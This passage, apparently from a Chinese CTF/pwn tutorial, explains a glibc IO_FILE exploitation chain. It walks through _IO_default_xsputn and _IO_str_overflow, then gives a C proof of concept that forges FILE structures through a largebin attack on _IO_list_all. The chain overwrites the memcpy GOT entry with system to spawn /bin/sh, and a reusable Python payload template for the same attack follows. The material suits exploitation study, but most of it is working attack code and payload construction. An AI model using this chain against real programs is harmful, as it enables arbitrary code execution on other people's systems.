1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 size_t _IO_default_xsputn (FILE *f, const void *data, size_t n) { const char *s = (char *) data; size_t more = n; if (more <= 0 ) return 0 ; for (;;) { if (f->_IO_write_ptr < f->_IO_write_end) { size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20 ) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; ssize_t i; for (i = count; --i >= 0 ; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char ) *s++) == EOF) break ; more--; } return n - more; } libc_hidden_def (_IO_default_xsputn)
需要绕过内容总结如下
需要 more
> count
,能再次返回执行 __mempcpy
,且要想再次返回执行 memcpy
,由于此时 f->_IO_write_ptr
被 _IO_str_overflow
函数修改为指向 "/bin/sh"
字符串,因此 count = f->_IO_write_end - f->_IO_write_ptr
可能为一个很大的值,导致 count > more
,进而更新 count
为 more
,因此再次循环时要求 more > 20
。由于上一次循环中依次执行了 more -= count
和 more--
语句,因此要求 more
≥ count + 1 + 21
。
需要 count
> 20,因此 count
至少为 21 。
第一次执行 __mempcpy (f->_IO_write_ptr, s, count);
时,
再次执行__mempcpy (f->_IO_write_ptr, s, count);
时,
需要绕过 if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
,具体绕过方式接下来会介绍。
f->_IO_write_ptr
为 rdi
,s
为 rsi
,count
为 rdx
。
同样,执行 _IO_str_overflow
需要绕过内容也比较多。该函数的作用是控制 fp->_IO_write_ptr
,从而控制 _IO_default_xsputn
第二次循环中 __mempcpy
的第一个参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int _IO_str_overflow (FILE *fp, int c){ int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t ) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
需要绕过内容总结如下:
_flags = 0x400
。
fp->_IO_read_ptr
为再次执行 __mempcpy (f->_IO_write_ptr, s, count);
的 rdi - 1
。
(fp)->_IO_buf_end - (fp)->_IO_buf_base
要足够大,一般设置 (fp)->_IO_buf_end = 0xFFFFFFFFFFFFFFF0
即可。
poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ucontext.h> int main () { size_t puts_addr = (size_t ) &puts ; size_t libc_base = puts_addr - 0x77040 ; size_t IO_list_all_addr = libc_base + 0x1d2660 ; size_t *large = malloc (0x420 ); malloc (0x18 ); size_t *unsorted = malloc (0x410 ); free (large); malloc (0x500 ); free (unsorted); large[3 ] = IO_list_all_addr - 0x20 ; malloc (0x20 ); size_t *fake_helper_file = large - 2 ; size_t *fake_wide_data = fake_helper_file + 28 ; size_t *fake_put_stream = fake_helper_file + 6 ; size_t *write_base = fake_helper_file + 60 ; size_t memcpy_got_addr = libc_base + 0x1d1040 ; size_t IO_helper_jumps_addr = libc_base + 0x1cdb20 ; size_t IO_str_jumps_addr = libc_base + 0x1ce720 ; fake_helper_file[4 ] = 0 ; fake_helper_file[5 ] = 1 ; fake_helper_file[17 ] = (size_t ) large + 0x1000 ; fake_helper_file[20 ] = (size_t ) fake_wide_data; fake_helper_file[27 ] = IO_helper_jumps_addr; fake_helper_file[57 ] = (size_t ) fake_put_stream; fake_wide_data[3 ] = (size_t ) write_base; fake_wide_data[4 ] = (size_t ) write_base + 0x80 * 4 ; fake_put_stream[0 ] = 0x400 ; fake_put_stream[1 ] = (size_t ) &write_base[2 ] - 1 ; fake_put_stream[4 ] = memcpy_got_addr - 0x20 ; fake_put_stream[5 ] = memcpy_got_addr; fake_put_stream[6 ] = memcpy_got_addr + 0x28 ; fake_put_stream[7 ] = 0 ; fake_put_stream[8 ] = (size_t ) -1 ; fake_put_stream[17 ] = (size_t ) large + 0x1000 ; fake_put_stream[27 ] = IO_str_jumps_addr; write_base[0 ] = (size_t ) system; strcpy ((char *) &write_base[2 ], "/bin/sh" ); exit (0 ); }
攻击模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 fake_io_addr = heap_addr + 0x1390 put_stream_offset = 0x30 put_stream_addr = fake_io_addr + put_stream_offset write_target_addr = memcpy_addr target_value_offset = 0x200 target_value_addr = fake_io_addr + target_value_offset IO_wide_data_addr = fake_io_addr + 0xe0 rdi_offset = 0xf rdi_addr = target_value_addr + rdi_offset more_len = 0x80 *8 count_len= 0x28 _flags = 0x400 fake_io_file = b"" fake_io_file = fake_io_file.ljust(0x20 ,b'\x00' ) fake_io_file += p64(_flags) fake_io_file += p64(rdi_addr) fake_io_file += p64(0 )*2 fake_io_file += p64(write_target_addr - 0x20 ) fake_io_file += p64(write_target_addr) fake_io_file += p64(write_target_addr + count_len) fake_io_file += p64(0 ) fake_io_file += p64((1 <<64 )-1 ) fake_io_file += p64(0 )*2 fake_io_file += p64(heap_addr+0x2000 ) fake_io_file += p64(0 )*2 fake_io_file += p64(IO_wide_data_addr) fake_io_file = fake_io_file.ljust(0xc8 ,b'\x00' ) fake_io_file += p64(IO_help_jump_0_addr) fake_io_file += p64(0 ) fake_io_file += p64(heap_addr+0x2000 ) fake_io_file += p64(0 ) fake_io_file += p64(target_value_addr) fake_io_file += p64(target_value_addr + more_len) fake_io_file += p64(IO_str_jumps_addr) fake_io_file = fake_io_file.ljust(0x1b8 ,b'\x00' ) fake_io_file += p64(put_stream_addr) fake_io_file = fake_io_file.ljust(target_value_offset - 0x10 ,b"\x00" ) fake_io_file += p64(system_addr) + p64(0 ) payload = fake_io_file + b'/bin/sh\x00'